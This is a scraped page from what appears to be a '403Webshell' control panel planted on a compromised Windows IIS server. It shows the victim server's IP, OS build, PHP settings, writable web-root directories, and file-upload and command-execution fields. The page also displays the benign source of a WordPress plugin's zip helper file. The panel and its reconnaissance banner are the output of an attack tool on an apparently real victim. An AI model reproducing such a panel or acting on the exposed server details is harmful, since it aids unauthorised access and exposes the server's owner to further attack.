403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/StockAdjust/wp-content/plugins/wp-all-import/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/StockAdjust/wp-content/plugins/wp-all-import/classes/zip.php
<?php

if ( ! class_exists('PMXI_Zip')){
	
	class PMXI_Zip
	{
		/**
		   * Add files and sub-directories in a folder to zip file.
		   * @param string $folder
		   * @param ZipArchive $zipFile
		   * @param int $exclusiveLength Number of text to be exclusived from the file path.
		*/
		private static function folderToZip($folder, &$zipFile, $exclusiveLength) {
		    $handle = opendir($folder);
		    while (false !== $f = readdir($handle)) {
		      if ($f != '.' && $f != '..') {
		        $filePath = "$folder/$f";
		        // Remove prefix from file path before add to zip.
		        $localPath = substr($filePath, $exclusiveLength);
		        if (is_file($filePath)) {
		          $zipFile->addFile($filePath, $localPath);
		        } elseif (is_dir($filePath)) {
		          // Add sub-directory.
		          $zipFile->addEmptyDir($localPath);
		          self::folderToZip($filePath, $zipFile, $exclusiveLength);
		        }
		      }
		    }
		    closedir($handle);
		}

		/**
		   * Zip a folder (include itself).
		   * Usage:
		   *   PMXI_Zip::zipDir('/path/to/sourceDir', '/path/to/out.zip');
		   *
		   * @param string $sourcePath Path of directory to be zip.
		   * @param string $outZipPath Path of output zip file.
		*/
		public static function zipDir($sourcePath, $outZipPath)
		{
		    $pathInfo = pathInfo($sourcePath);
		    $parentPath = $pathInfo['dirname'];
		    $dirName = $pathInfo['basename'];

		    $z = new ZipArchive();
		    $z->open($outZipPath, ZIPARCHIVE::CREATE);
		    $z->addEmptyDir($dirName);
		    self::folderToZip($sourcePath, $z, strlen("$parentPath/"));
		    $z->close();
		}
	} 

}

Youez - 2016 - github.com/yon3zu
LinuXploit